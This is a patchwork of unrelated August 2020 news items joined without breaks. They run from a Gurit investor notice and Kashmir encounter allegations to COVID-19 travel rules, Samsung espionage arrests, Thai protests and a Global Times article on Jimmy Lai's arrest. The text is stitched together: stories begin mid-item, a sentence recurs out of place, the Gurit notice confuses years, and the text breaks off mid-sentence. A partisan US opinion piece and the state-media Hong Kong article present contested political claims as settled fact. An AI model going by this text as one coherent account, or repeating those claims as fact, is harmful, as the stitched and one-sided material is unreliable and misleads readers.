Gurit Management will discuss the results of the First Half-Year 2020 interim report in a public webcast at 09:00 a.m. CEST. The presentation will be held in English and will be accessible at www.gurit.com/Investors/Webcasts . After the webcast Financial Analysts and Journalists are invited to participate in a Q&A conference call. Access details are available upon prior registration by Friday, August 14 via investor@gurit.com The Half-Year 2019 interim report will be available on August 17, 2020 from 07:00 a.m. online at http://www.gurit.com/Investors/Reports and a media release will be issued at the same time. About Gurit The subsidiaries of Gurit Holding AG, Wattwil/Switzerland, (SIX Swiss Exchange: GUR) are specialized on the development and manufacture of advanced composite materials, composite tooling equipment and core kitting services. The product range comprises, structural core materials, fibre reinforced prepregs, formulated products such as adhesives, resins as well as structural composite engineering. Gurit supplies global growth markets such as the wind turbine industry, aerospace, marine, rail and many more. Gurit operates production sites and offices in Australia, Canada, China, Denmark, Ecuador, Germany, Indonesia, India, Italy, New Zealand, Poland, Spain, Switzerland, Turkey, United Kingdom and the United States. www.gurit.com Gurit Group Communications Thomas Nauer, phone: +41 44 316 15 50; e-mail. thomas.nauer (at) gurit.com Forward-looking statements:To the extent that this announcement contains forward-looking statements, such statements are based on assumptions, planning and forecasts at the time of publication of this announcement. Forward-looking statements always involve uncertainties. Business and economic risks and developments, the conduct of competitors, political decisions and other factors may cause the actual results to be materially different from the assumptions, planning and forecasts at the time of publication of this announcement. Therefore, Gurit Holding AG does not assume any responsibility relating to forward-looking statements contained in this announcement. All trademarks used or mentioned in this release are protected by law. Station House Officer (SHO) Kotranka, Mustaq Ahmed, confirmed that a written report has been received in this regard. SRINAGAR: The Army on Monday said that it has launched an investigation into the rumour that three alleged militants killed during an operation in Jammu and Kashmirs southern Shopian district on July 18 were actually labourers from frontier Rajouri district who had arrived in the area a day before to earn their living. "We have noted social media inputs linked to the operation in Shopian on July 18, 2020. The three terrorists killed during the operation have not been identified and the bodies were buried based on established protocols. Army is investigating the matter," defence spokesman, Colonel Rajesh Kalia, said in a statement here. Earlier during the day on Monday, various political parties and human rights activists in J&K had demanded an impartial probe into the sudden disappearance of three labourers soon after they had arrived in militancy-infested Shopian from Rajouri on July 17. The families of the missing persons Imtiaz Ahmed, Abrar Ahmed Khan and Abrar Yusuf on Sunday lodged an FIR at Peeri Police Post in Rajouri district that their kin are missing since July 17. The trio, aged 18, 21 and 26 years respectively, had last called their families on July 17 informing them they had reached Shopian and got a room on rent. "They last called on July 17 when they informed the families that they have reached Shopian where they have taken a room on rent," Lal Hussian, a relative of one of the missing persons, told a local news Global News Service (GNS). Asked reason for filing the missing report now, he said, "We thought there are connectivity problems in Kashmir for one or the other reasons and we were waiting that they will call soon". Station House Officer (SHO) Kotranka, Mustaq Ahmed, confirmed that a written report has been received in this regard. Rumours rife back in Shopian say that the trio may have been the same youth who were killed by the Army apparently in a fake encounter in the districts Amshipora village on July 18. CPIMs Mohammad Yousuf Tarigami in a statement said that it was a serious issue which needs a time-bound judicial probe. "There are unverified reports that the missing labourers have been killed in a fake encounter in Shopian on July 18. This is shocking and must be probed by a sitting High Court judge in a time-bound manner," he said. Iltija Mufti, daughter of former chief minister Mehbooba Mufti, tweeted, "Shocked to hear about reports of 3 missing labourers reportedly killed in a staged encounter at Shopian. Armed forces have a free hand to operate with impunity. Explains why bodies are allowed to decompose at unknown locations. Probes into recent encounters must be ordered". The PDP officially said that the reported staged encounter in Shopian is "shocking and extremely excruciating episode". It added, "Such repressive measures have pushed J&K into a precipice of a disaster". It seems the Government and the public will no longer tolerate meat plants remaining open while there are active cases of Covid-19 among workers in these plants. Nor should they. The recent spikes in one meat factory and other food processing facilities call into question the handling of the virus and the cost to human health. A month ago, after the Oireachtas committee hearing on the Covid-19 situation in meat plants, I wrote that meat factory owners should stop hiding behind Meat Industry Ireland statements. While moves by the meat processors to introduce increased Covid-19 testing and overhaul factory working conditions are to be welcomed, these don't address one fundamental question - what is the impact of cheap food on society? There's nothing new about farmers protesting about the prices they receive for their produce. Year after year, there are campaigns highlighting the impact of below-cost selling on farmers' incomes. But, as Darragh McCullough points out below, what do people expect of a system that produces a bag of carrots for 49c or milk for 79c a litre? Read More Cheap food relies on cheap labour, and production on a vast scale. But Covid-19 has put the spotlight on the realities of working conditions in the food processing plants that supply our cheap food. Modern meat processing means we have plenty of cheap meat produced in huge factories. However, it comes at a price to the farmer and factory workers, and we now face the threat of further plants closing their doors to contain the spread of the virus. There's no question that human health is paramount, but now farmers face a possibility of meat factories shutting down for a second successive year as we head into the peak season for livestock sales. While the pandemic and last year's beef protests are poles apart, they've both exposed the vulnerability and weak links in our cheap food system. A recent landmark poll of 20,000 citizens undertaken by the Knight Foundation and Gallup found that Americans hope for and trust in an objective media is all but lost. They see not only an ever-growing partisanship in news reporting but a determination by the mainstream media to push a political agenda instead of honestly disseminating the news. While generic faith in the media has been gradually declining over recent decades, the precipitous drop in trust and questions about what motivates the mainstream media can be traced to June 2015 and Donald Trumps entry into the presidential sweepstakes. This latest Gallup poll is the most devastating indictment of the media in polling history. Some highlights: 84% of surveyed Americans lay either a moderate or a great deal of the blame for todays partisan hostility at the feet of the media. Further, 82% believe news outlets are either deliberately misrepresenting the facts or are making them up entirely. This is further amplified as 79% of those surveyed say media outlets are trying to persuade people to adopt a certain opinion about an issue or an individual. Similarly, while the respondents in the poll believe that the media is critical or very important to democracy, 86% say they have witnessed either a fair amount or a great deal of bias in news reporting. Damningly, 78% feel that this bias is reflected in the spread of fake news which is a major problem that exceeds all other in the mainstream media environment. [emphases added] By contrast, in 2007 62% of respondents in a Pew Research poll claimed to have witnessed either a fair amount or a great deal of bias in news reporting; in another Pew Research poll in 2012, that result increased slightly to 67% as compared to 86% today. How did the mainstream media sink to this abysmal level of distrust and disdain? Donald Trumps entry into the presidential field in 2015 was a godsend to the mainstream media that had been hemorrhaging red ink for many years. The denizens of the mainstream media hierarchies knew that unremitting coverage of Trump, a global celebrity, would dramatically increase viewership, clicks on the internet and newspaper readership and thus their bottom line. Since they were certain Trump had little chance of winning the Republican nomination and his foray into politics was, in all likelihood, a publicity stunt, they thought there was no downside. Moreover, virtually everyone in the mainstream media, from those in the executive suites to recently hired rookie reporters, were convinced it was a near certainty that Hillary Clinton would be the next president regardless of the overwhelming volume of attention paid to Trump. Thanks to the self-serving Trump obsession of the mainstream media, over the course of the 2016 presidential campaign he received the estimated equivalent of 5.6 Billion dollars in free earned attention in all venues of the media. More than Hillary Clinton, Bernie Sanders, Ted Cruz, Paul Ryan and Marco Rubio combined. In last 12 months of the campaign the future president received $3.4 Billion in free earned broadcast and online news attention; Hillary Clinton: $2.1 Billion. A difference in coverage which undoubtedly played a major role in his unexpected victory. Additionally, Donald Trump, during the campaign, continuously pointed out the left-wing bias and misreporting in the mainstream media and popularized a phrase that is now part of the American lexicon: fake news. With ridicule and mockery, he succeeded in making the media a potent campaign issue and a focal point of voter resentment. While the vast majority of those in the mainstream media seethed at this disparagement, they, certain in the final outcome of the election, continued their unrestrained reporting and coverage of his every movement and utterance as their ratings and readership went through the roof. No entity in the United States was more devastatingly affected by the 9.0 magnitude political earthquake that took place on November 8, 2016 than the mainstream media. Not only had they contributed mightily to the election of Donald Trump, a man they loathed, but they had willingly allowed him to make them the target of national derision and contempt. After the election, the anger and single-minded determination of the mainstream media to seek revenge and prove they could still remove or destroy a President was palpable. The Bureau of Labor Statistics in their most recent National Occupational Employment and Wage Estimates Report claims 44,100 are currently employed as news analysts, reporters and journalists. Yet, among the vast majority there is virtually no diversity of thought or political philosophy, as they associate among themselves to the exclusion of the rest of the populace, live in urban bubbles of like-minded and similarly educated elites, and view themselves as superior to the rabble in the rest of America. Thus, they inevitably are susceptible to a herd mentality when it comes to shaping and theoretically reporting the news as the groupthink mandates. Since November 9, 2016, the groupthink has mandated that Donald Trump must be destroyed regardless of the fallout or potential destruction of trust and reliance in the mainstream media. While pursuing that desired outcome, the public over the past 45 months has, as the current polls reveal, become increasingly aware of the tactics and dishonesty of the mainstream media. The electorate has been privy to innumerable fake news stories about Trump, his family as well as his Administration, which continue to this day after virtually hundreds of stories over the past three-plus years have been disproven. It is now an unquestioned fact that the mainstream media, throwing away any pretense of objectivity, has overtly and unabashedly allied itself with the Democrat party and its dominant wing, the radical Marxists/socialists. It is common knowledge that the media will not honestly report on or criticize avowed militant Marxist organizations Antifa or Black Lives Matter and their penchant for violence and determination to incite a societal upheaval. It is also becoming evident to an increasingly larger swath of the citizenry that the mainstream media is determined to deliberately foment unfounded fear and anxiety about the coronavirus epidemic. However, in what is the most egregious example of media malpractice in American history, the mainstream media was and continues to be complicit in, as well as co-conspirators with, the Obama Administration in the greatest scandal in American history -- the Russian collusion hoax. This is a reality that an increasing number of Americans are becoming acutely aware of thanks to Attorney General Bill Barr. Thus, more Americans on a daily basis have come to the conclusion that this credulous gaggle of mind-numbed robots are deliberately avoiding any honest reporting on any issue in order to further their political and retribution agenda. The mainstream medias obsession with revenge and proving they can destroy a presidency has brought them to the edge of the precipice and the point of no return as the devastating findings in the recent Gallup poll confirms. Particularly as these are the unvarnished opinions of an overwhelming majority of the American citizenry regardless of political affiliation. John Sands, Director of Learning and Impact at the Knight Foundation commenting on this poll said: Were starting to see more retrenchment among those who have already expressed deep concerns. Moving the dial on these attitudes becomes more and more difficult for media organizations. In other words, it will be nearly impossible for the mainstream media to ever recapture the faith and trust of the American people. The mainstream media, in their determination to exploit Donald Trumps notoriety and subsequent quixotic quest to destroy him, has achieved an unprecedented negative trifecta. Due to an insatiable need for ratings, the mainstream media was a major in-kind contributor to someone they loathed winning the presidency. This same motivation precipitated their willingness to became the butt of ridicule and mockery on the national stage they provided. And now they have forever lost the trust of the American people. Support Local Journalism Your subscription makes our reporting possible. {{featured_button_text}} The big concern is whether these pets are capable of infecting a susceptible person. Right now, our studies are not suggesting that thats happening, Hamer said. Sarah Hamer, associate professor of epidemiology at the Texas A&M College of Veterinary Medicine and Biomedical Sciences, leads the research team, according to a press release. Rebecca Fischer, assistant professor of epidemiology from A&Ms School of Public Health, is also among the teams leaders. In the press release, Sarah Hamer said the study was not designed to test the directionality of transmission of the virus namely, whether pets become infected from owners, or vice versa. She said the study does confirm that pets can become infected in high-risk households. In the release, she added that people who test positive should isolate from their pets or wear a face mask around their pets, just as they should do around other people. Gabriel Hamer said that the A&M research plan is different from most current studies being done on domestic animals and COVID-19 in that it aims to test pets during that brief window after a pet owner has tested positive, to see if the animals have contracted COVID-19 from their owners. Pets from several dozen households have been tested since June, Hamer said. Two Samsung Display researchers have been reportedly arrested and charged with corporate espionage. According to reports coming from South Korean media, the duo leaked information related to OLED production using inkjet printing to a Chinese company, causing millions of dollars in damages to Samsung. The identities of the two Samsung Display employees, aged 37 and 46, were not revealed. However, they both reportedly held senior positions at the display manufacturing arm of the South Korean conglomerate. Additionally, authorities have also detained a third person in the case. This 42-year-old individual is a director at a display equipment manufacturer that Samsung had partnered with in the past. Authorities have charged the third individual with failure to protect sensitive technology leaks. Advertisement The two Samsung researchers had reportedly asked this company to develop a prototype using the leaked info, with plans to hand it over to the Chinese company. They shared process specifications that Samsung Display experimented with between November 2019 to May 2020. Authorities are also questioning senior officials of the unnamed Chinese company, AsiaTime reports. Apparently, a former senior researcher at Samsung Display now works for the Chinese company in question. In a similar case, South Korea had indicted 11 people for leaking Samsungs OLED technology to China back in November 2018. They were all employees of a third-party vendor, including its CEO. More details about the newest OLED tech leak should surface in the near future as the trial begins. Advertisement Samsung researchers were leaking sensitive display tech to China The Tech industry sees inkjet printing as the future of OLED production. Among other benefits, this technology greatly reduces the production cost of OLED panels. The inkjet printing tech can reduce the production cost of a contemporary 65-inch OLED 4K TV by as much as 20 percent as compared to the WOLED process in use today, analysts estimate. Samsung has invested heavily in research and development (R&D) of this technology. Reports claim the company to have made investments of worth over 10 billion won (roughly $8.5 million) over the past three years. Some process specification refinements are still in progress. The two arrested men have been reportedly leaking experimental process specifications to the Chinese company. The South Korean behemoth is hoping to begin mass production of OLED panels using the inkjet printing technology by October this year. If everything goes as per plan, Samsung will become the worlds first company to use this technology. In addition to Samsung, companies from China, Japan, and Taiwan are also reportedly working on to pioneer this technology. Head of the General Authority of Free Zones and Investment (GAFI) Mohamed Abdel Wahab on Tuesday discussed at a meeting with Omar El Sahy, the General Manager of Souq.com, an affiliate of the E-commerce giant Amazon, the company's plans for expansion in the Egyptian market. During the meeting, the two sides discussed an Amazon's proposal to develop transport services, through using private cars to transfer light cargo. Abdel Wahab told Sahy that GAFI would provide the necessary support for the company to expand its trade activities in the country and apply its digital transformation plans. The GAFI head promised to provide the spaces required to establish new warehouses and distribution centers for the company in all governorates, underlining the importance of assisting emerging companies to promote their products and open up new exporting markets for Egyptian products via E-commerce platforms. On his part, the General Manager of Souq.com, reviewed the company's investments in Egypt, noting that it has more than 10 distribution centers nationwide and hires around 1,000 employees. Sahy added that Amazon looks forward to expanding its business in the Egyptian market and making a range of its various services available, notably artificial intelligence and digital payment. They also tackled means of supporting small and medium-sized enterprises, in parallel with the state's efforts to encourage them to put their products for sale on Souq.com. Search Keywords: Short link: Description GIS 11 August 2020: A Health Week comprising a mobile Screening Programme as well as a Breast and Cervical Cancer Screening Programme was launched, today, at the seat of the Ministry of Public Service, Administrative and Institutional Reforms, in Port Louis. The Minister of Health and Wellness, Dr Kailesh Kumar Singh Jagutpal, and the Minister of Public Service, Administrative and Institutional reforms, Mr Teeruthraj Hurdoyal, were present. This joint initiative of both Ministries will target some 288 Government Officers. The Health Week, which will end on 17 August, will also comprise a one-day blood donation activity which is being held today. Staff will benefit from medical screenings for Non-Communicable Diseases such as diabetes, hypertension, Body Mass Index as well as breast and cervical screenings. In his address, Dr Jagutpal stated that Government has at heart the well-being of the population. He emphasised the need to maintain a healthy lifestyle which is essential to improve the work and life balance of individuals. By proactively supporting the health of employees, employers are able to reduce absenteeism, increase work commitment and improve productivity. The focus has shifted to a broader view of workforce health, including the physical, mental, work and life components of health, he added. For his part, Minister Hurdoyal elaborated on the benefits of preventive medicine namely, improved quality of life, early diagnosis, and reduction of symptoms of illnesses. When a disease has been detected early, it is easier to treat it in a timely manner, hence preventing loss of life, he emphasised. He also pointed out that when one is aware of ones health status, one is more informed about how to lead life in a healthier manner. This includes the awareness of which food to eat, which physical exercises to practice and which medicines to take. Furthermore, Mr Hurdoyal appealed to the staff of the Ministry of Public Service, Administrative and Institutional Reforms to participate fully in the health screenings and to donate their blood in a spirit of solidarity and generosity. Burma Myanmar Military Chief: Govt Should Call Top Security Council Meeting Myanmar military chief Senior General Min Aung Hlaing during the Armed Forces Day Parade in 2015. / The Irrawaddy Myanmar army chief Senior General Min Aung Hlaing said the government should call a meeting of the long-adjourned National Defense and Security Council (NDSC), the countrys highest-level security authority, saying that it is too risky for only one person to make decisions for the country. The army chiefs remarks on a wide range of issues, including the NDSC, the peace process and the militarys role in politics, were published in an exclusive interview with Russias Politic magazine last Friday. [It is] too dangerous for one person to be making decisions without consulting the relevant organizations and individuals for consideration. [It is] very difficult to get effective decision-making and actions, said Snr-Gen Min Aung Hlaing, possibly referring to Myanmar State Counselor Daw Aung San Suu Kyi, who is believed to have final say on important issues for the country. In contrast to Myanmars previous government, the current National League for Democracy (NLD) administration has not called for a single meeting of the military-dominated NDSC. Though one high-level meeting with members of the NDSC was held last year, the government did not label it as an NDSC meeting, as it was not attended exclusively by council members but also included other senior government members. Under the previous government, the council met every two weeks. Snr-Gen Min Aung Hlaing also said that national defense and security affairs are the spirits of the nation and thus In these affairs, there is no [time to say] sorry. Once it is said, the sovereignty of the state will be already lost. He added that it is the responsibility of those in charge of the country to decide to call the NDSC to meet or not. According to the 2008 Constitution, the military controls the six out of 11 seats on the council but the president has the power to make final decisions. It includes five civilian leaders: the president, a vice president, the minister of foreign affairs and the speakers of the lower and upper houses. The military representatives include the army chief, a vice president nominated by the military, the deputy army chief and the ministers of defense, home affairs and border affairs. The military, its allies in the Union Solidarity and Development Party (USDP) and a few other parties have urged the NLD government to hold an NDSC meeting. In September 2019, the USDP and military-appointed lawmakers submitted a bill to amend the 2008 Constitution to expand the NDSCs authority and grant the president power to dissolve the Parliament with the approval of the NDSC. The bill was later rejected. A week after the bill was introduced, a military spokesman also urged that the NDSC should meet in regular sessions in order to analyze and evaluate the challenges facing the country and the international situation. The NLD has tried to change the disproportionate ratio of civilian to military representation on the NDSC by proposing to add two deputy speakers for Parliament to the council. The NLD proposed a constitutional amendment to make the change during the Parliaments vote on charter reform in March but the motion failed. As the army chief shared his thoughts with the Russian media, he also highlighted how the National Reconciliation and Peace Center, led by Daw Aung San Suu Kyi, has failed to achieve peace despite the military announcing a nine-month ceasefire from Dec. 21, 2018 to Sept. 21, 2019. You may also like these stories: Myanmar Lawyers Elect New Bar Council for First Time Since Military Regime NLD Selects 20% Female Candidates for Myanmars November Election Photo: (Photo : Photo by Vlada Karpovich from Pexels) Some of us say we are not meant for home-based jobs. That is why these people chose to go to the office. They would rather mingle with friends at the workplace, and work away from home than spend most of their time in a home office. However, because of the coronavirus pandemic, almost everyone was forced to work from home. Even those who feel working from home are not made for them. They were forced to stay glued in front of their computers and get the job done. When the coronavirus pandemic struck the world, the first question of these people is probably, "How to work from home?" READ ALSO: How To Encourage Children During Distance Learning Before the coronavirus pandemic, some people were already working from home. They have established ways on how to work from home. Here are some of those ways: 1. Make a schedule, and stick with it. When you were still working in the office, no matter how busy you are in the workplace, you still need to go home. Now that you are working from home, it would seem like there are no boundaries anymore. However, this should not be the case. The best way on how to work from home is to make sure that you do not work 24/7. A schedule can ensure this. The plan should include not only the work-related stuff but also the non-work-related ones. There should be allotted time for breaks, meals, and outdoor activities, like a short walk with your dog. READ ALSO: 4 Tips to Parents for Kids' Return to Schools During the Pandemic 2. Talk to the people at the house for some rules Because working from home means co-existing with other household members while working, you should make the rules clear from the very beginning. Whether it is a roommate or a member of the family, they should understand that the time that you use for working should be respected at all times. When this is not addressed at an early stage, a worker's productivity may suffer. This way can be one of the most efficient ways on how to work from home because the people around you understand the nature of your work and how you need time for it. READ ALSO: "No Pajamas Rule" During Remote Learning, to Be Implemented in a School District in Illinois 3. Dedicate space for work. Every part of the house has probably turned into something else during the coronavirus pandemic, but dedicating a space for work can increase productivity. Working from home while on the bed is not very ideal. It may sound comfortable, but this could affect a person's sleeping pattern and productivity. 4. Socialize with the people in your team One of the ways on how to work from home is to keep connections. Talking with the people in your company online can significantly help. Because although you are separated by distance, this does not mean socializing is impossible. READ ALSO: Being There: How to Show Support During the Pandemic Your future-facing business Vodafones in-house SDN experts offer a free assessment to help any business, at any stage of their journey, make the transition to SDN smoother. The Readiness Assessment process has been carefully shaped through a rigorous combination of their industry expertise along with third-party partners insights. In this guide, learn more about Vodafones SDN Readiness Assessment and how it can help you evaluate how ready your business is for SDN, foresee any potential challenges and quantify your unique benefits. The UK updated its travel 'green list' on Tuesday, but did not take Portugal off the quarantine list, amid fears that France could soon join it as hospitalisations and cases rise. In a blow to the Portuguese economy that benefits greatly from tourism from the UK, the UK Government was warned that cases in Portugal had not fallen fast enough to be able to safely add the country to the 'green list'. Portugal registered 120 new cases yesterday, down from 290 last Friday, but in the last 14 days, the cumulative number of cases per 100,000 rose to 24.6, its first increase in weeks, according to The Daily Telegraph. Meanwhile, France reported the country's first significant rise in the number of patients submitted to hospital due to coronavirus since the end of it's lockdown in June. The number of people in French hospitals with Covid-19 rose by 34 to 5,045 over the weekend, the nation's health ministry announced on Monday. On Tuesday, however, it leveled out again as 33 people with Covid-19 left hospital, leaving 5,012 patients in hospital with the disease, according France's health ministry website. French health authorities also reported 1,397 new COVID-19 infections over 24 hours on Tuesday, almost twice Monday's tally of 785. The rising coronavirus numbers in France have led to fears that the UK government could remove the country from the travel 'green list' this week, impacting potentially hundreds of thousands of Britons and their holiday plans. An estimated 500,000 Britons in France could be forced to make a dash home or risk being forced to quarantine on their return to the UK. Beachgoers enjoy a hot day in the sun at a beach in Bormes-les-Mimosas, southern France, Tuesday, Aug 11, 2020. The hot weather is expected to last for several days across the country. France has seen a rise of 10,002 new Covid-19 cases in the last week, a worrying increase after the previous week's 7,391 Rising cases: Spain has suffered a severe spike in coronavirus cases in recent weeks, as this graph shows, while France, Germany and Italy have also seen upticks in new infections Downing Street reminded potential holidaymakers on Monday that 'there is no risk free way of travelling overseas' with Prime Minister Boris Johnson adding that he 'would not hesitate' to bring in travel restrictions for other countries. The latest data on coronavirus cases on foreign soil will be analysed by the Government's Joint Biosecurity Centre (JCB), which meets today, and Downing Street's decision on an updated quarantine list will be public in the coming days. UK Ministers are believed to be planning new measures for a swathe of countries that also includes Switzerland, Poland and the Netherlands amid a surge in European coronavirus cases. They could join Spain and its islands on the list of countries where returnees will face 14 days of self-isolation, possibly putting their jobs at risk. It came as Boris Johnson warned that ministers will 'not hesitate' to impose a quarantine system for travellers from other countries to the UK if needed. Speaking on a visit to a school in Upminster, Essex, he said: 'I don't want to advise people about their individual holidays, individual decisions, they should look at the travel advice from the Foreign Office clearly. 'But what I will say, and I hope people would expect us to do this, in the context of a global pandemic, we've got to keep looking at the data in all the countries to which British people want to travel. UK Prime Minister Boris Johnson, pictured today, has said he 'would not hesitate' to impose quarantine restrictions on other countries currently on the UK's travel 'green list' 'Where it is necessary to impose restrictions or to impose a quarantine system, we will not hesitate to do so. Spain has already been hit with new travel restrictions in a blow to its tourism-reliant economy, while there are fears that France, Germany or Holland could be put back on the UK's quarantine list after spikes in cases there. Summer holidays have been blamed for rising cases in Germany and Italy, while France has tightened its face mask rules in tourist hotspots such as Paris and the Mediterranean resort of Saint Tropez. However, Europe has yet to see a major spike in deaths or hospital cases, amid signs that many of those testing positive are young and less vulnerable to the disease. France has piled up 10,002 new cases in the last week, the highest number since April and a sharp increase from 7,391 the week before. The government's Covid-19 scientific council warned last week that France could 'at any moment' lose control over the spread of the disease. The government did add some countries to the green list - Malaysia and Brunei. French Prime Minister Jean Castex (L) is helped by a member of staff to put on protective gear during his visit to the CHU hospital in Montpellier, southern France, August 11, 2020. France has recorded its first rise of Covid-19 hospitalisations since lifting its lockdown in June In addition to the new cases of coronavirus infections, France's Health Ministry website said there were 15 new deaths in hospital due the disease, compared to an increase of 16 over a three-day period between Monday and Saturday, with the total death toll standing at 30,354. The number of people hospitalised for the disease went down again after creeping up Monday for the first time in two and a half months. In response to the rising figures, France's prime minister said on Tuesday he wanted more masks worn in public places to prevent 'a high risk of epidemic resumption' as health authorities warned coronavirus circulation was picking up again. Visiting the southern city of Montpellier, Jean Castex said the country must act collectively, and 'vigorously' to beat back a pandemic that has already claimed more than 30,300 lives in France. He also admitted that the country's coronavirus figures were 'going the wrong way'. To this end, he will ask local authorities 'to extend as far as possible the obligation to wear masks in public spaces.' Local authorities have been given the legal authority to impose mask-wearing on citizens. Masks are already obligatory nationwide on public transport and in enclosed spaces such as shops, banks and government offices. Some cities and towns have also made them compulsory in certain outdoor spaces, such as along the banks of the Seine River in Paris and around its main tourist hotspots. People wear protective face masks in front of the Eiffel Tower, as part of measures to contain the spread of coronavirus in France, August 9, 2020 Children and parents cool off in a swimming pool on the Canal de l'Ourcq in Paris, Tuesday, Aug. 11, 2020. Temperatures in Paris were expected to hit 100.4 Fahrenheit on Tuesday. France's rising case number could see it lose its place on the UK's travel green list, forcing returning holidaymakers to isolate on their arrival back to the UK Castex said that unless French people acted individually and collectively, 'we expose ourselves to a high risk of epidemic resumption that will be difficult to control. 'It will once again put pressure on... hospital services, it will also place pressure on our economy, our education system, our collective and cultural life,' he said after taking part in a meeting of President Emmanuel Macron's defence council of senior ministers to discuss the virus. He also announced that a ban on public gatherings of more than 5,000 people, such as sporting events or concerts, will now run until October 30 and not be lifted at the end of this month as originally planned. Over the weekend, some 10,000 people flouted the ban to gather for an illegal rave party on a remote mountain plateau in France's least populated department, the Lozere, sparking anger from locals so far spared the worst of the outbreak. France's health ministry said Monday that 10,800 new coronavirus cases had been identified in the past week, and warned that 'circulation of the virus is intensifying, notably among young people and in certain regions such as the metropolitan areas of Paris and Marseille.' It said mask wearing was 'a gesture of common sense' in crowded places and when a safe physical distance between people cannot be observed. 'Adolescents and young adults, less at risk of developing serious forms of the disease, can contribute to spreading it and infecting their loved ones - parents, grandparents and other vulnerable people for whom the consequences could be serious,' the ministry said. Share this article Whatsapp Facebook Twitter Linkedin News Desk (Reuters) Bangkok, Thailand Tue, August 11, 2020 16:30 526 6657ac82168da9fa101c8a4066d27147 2 SE Asia Thailand,Prime-Minister,Prayuth-Chan-ocha,pro-democracy,protests,politics Free Thai Prime Minister Prayuth Chan-ocha said on Tuesday he is concerned about a growing student protest movement after another student group issued an unusually frank 10-point call for reform of the monarchy. About 3,000 to 4,000 protesters chanted Long live democracy at Thammasat University on the outskirts of Bangkok on Monday night, with speeches calling for the resignation of Prayuth, who first took power in a 2014 coup, and an end to military domination of politics. But protesters from a Thammasat University Pro-democracy Group also issued a 10-point call for reform of the monarchy, becoming at least the third student protest group to break a decades-long taboo on questioning its role and powers. Thailand has strict laws against insulting or defaming the king, punishable by up to 15 years in prison. Palace officials declined to comment on the student protests or on any criticism of the monarchy. Former army chief Prayuth told reporters he had watched the protests. "Yes, I watched it, how can I not?" he said when asked about the students' demands. "I am concerned," he said, but did not elaborate on what concerned him and did not comment on the demands for royal reform. Prayuth has warned protesters against involving the monarchy in their protests but said King Maha Vajiralongkorn, who took the throne after the death of his father in 2016, has asked him not to arrest anyone under the "lese majeste" laws. Since the 2014 coup, activists have accused Prayuth of using the military's close association with the palace to justify its grip on power, including accusations of manipulating results of elections last year. Prayuth denies the allegations. The students' new demands included reversal of a 2019 order that transferred two army units to the king's personal command and a 2017 law that gave him full control of the crown's extensive property holdings. Lai's arrest a heavy blow to HK secessionism Global Times By Chen Qingqing, Bai Yunyi and Cui Fandi Source: Global Times Published: 2020/8/10 23:03:40 Colluding with foreign forces will eventually be held accountable: observers About 40 days after the enactment of the highly anticipated national security law for Hong Kong, justice has finally been served as Jimmy Lai Chee-ying, one of the most high-profile local secessionists, was arrested by police on Monday. This has delivered a heavy blow to local rioting forces, who would eventually be held accountable no matter how hard they have been naively trying to ask for help from foreign forces to pressure the Chinese central government, observers said. The 71-year-old founder of Apple Daily, who is widely seen as a "modern traitor," was arrested on Monday morning for violating Article 29 of the national security law after the police searched his residence in Ho Man Tin, and Lai was later handcuffed and escorted by police officers. Sources close to the Hong Kong Police Force (HKPF) told the Global Times on Monday that Lai was charged for allegedly violating the law for colluding with foreign powers, fraud and sedition. It became one of the most prominent operations by the HKPF, as it was also the first time that such a high-profile Hong Kong riot supporter was arrested for violating the law. Along with Lai's arrest, at least 10 people have also been arrested on suspicion of colluding with foreign forces to endanger national security as of 10:30 pm on Monday, while more arrests might be made, the police said. Two sons of Lai were detained in addition to four senior executives of Next Digital, the parent company of the newspaper - including an executive chairman and a chairman in charge of the outlet's operations and finances. The police also searched the headquarters of Next Digital on Monday. After an over four-hour search, the police took away about 25 boxes of materials for the investigation, Hong Kong media reported. Police also arrested local secessionist Agnes Chow for allegedly violating the national security law for Hong Kong, media reported on Monday night. One of Lai's aides, Mark Simon, is currently abroad and wanted by police. Simon reportedly had stints with US naval intelligence and the CIA, sparking concerns over his role in helping Lai connect with foreign forces. Lawrence Tang Fei, a member of the Chinese Association of Hong Kong and Macao Studies, told the Global Times on Monday that Simon undertakes the political and technical guidance work for Lai, or "might have been serving as a middleman in helping get US-related funds for the political movement in Hong Kong." Lai's arrest shows the central government and the HKSAR government's firm determination to safeguard national security, prevent local forces from colluding with a foreign country or with external elements in order to seize control of the HKSAR administration, Lau Siu-kai, vice-president of the Chinese Association of Hong Kong and Macao Studies, told the Global Times on Monday. He noted that "those personnel, institutions and forces that some people thought could remain intact, would be disciplined by the law." The Hong Kong and Macao Affairs Office of China's State Council said it supports Hong Kong's arrest of Lai, saying that people colluding with a foreign country or with external elements to jeopardize national security in the city must be severely punished in accordance with the law. What's next? The arrests were aimed at the core management team of Apple Daily, which has played a critical role in instigating hatred, spreading rumors and smearing Hong Kong authorities and the mainland for years. It has also played an active role in inciting anti-government riots as it is backed and funded by foreign forces to bring about a "color revolution" in the city, some observers said. Two young anti-government figures, Andy Li, a member of a local organization called Hong Kong Story, and Wilson Li, a former member of Scholarism, were also arrested on Monday, who have been playing the role of advocacy for the end game of the so-called resistance, while constantly making a plea to foreign countries and organizations to meddle in Hong Kong affairs amid the social turmoil in 2019. Many Hong Kong residents are familiar with the Apple Daily's tactics in beautifying rioting activities and smearing law enforcement authorities in Hong Kong during months of anti-government protests since June 2019. For instance, in a headline story run by the newspaper on October 2, 2019, it portrayed law enforcement as a "brutal massacre" when rioters recklessly attacked police officers with a corrosive fluid. Even after the national security law for Hong Kong was enacted, the newspaper ran front page stories calling the disqualification of some anti-government lawmakers as a "crazy" move, which former Hong Kong chief executive Leung Chun-ying slammed as not only a fight against China but also a lack of understanding of the country's situation. A large-scale operation on the newspaper that endangers public security and national security shows that Hong Kong law enforcement authorities have obtained sufficient evidence to make charges, Tian Feilong, a legal expert on Hong Kong affairs at Beihang University in Beijing, told the Global Times on Monday. The latest case involves two parts. One is its past behaviors before the enactment of national security law for Hong Kong, given the law being not retroactive, some could be charged in accordance to local regulations and ordinances. The other part is the actions after June 30, as Apple Daily had not given up defying the law despite it came into force, Tian noted. Lai had been arrested several times over the past year on suspicion of violating local regulations. But he had been also granted bail several times. Under the national security law for Hong Kong, some legal experts believe that won't be the case anymore. "Considering his infamous behavior, it's highly possible that Lai would face a severe sentence, and life imprisonment can't be ruled out," Tian said. While it's widely believed that the case being handled by the national security department of the HKPF and local judiciary authority which specializes in national security cases, some legal experts suggested that the central government's office for safeguarding national security in Hong Kong and local committee for safeguarding national security chaired by chief executive Carrie Lam could step in when necessary, especially when it involves the interference of foreign forces, and requires the assistance of an international police organization that facilitates cross-border arrests of wanted people. 'Give up fantasy' The arrests came after the US announced sanctions on 11 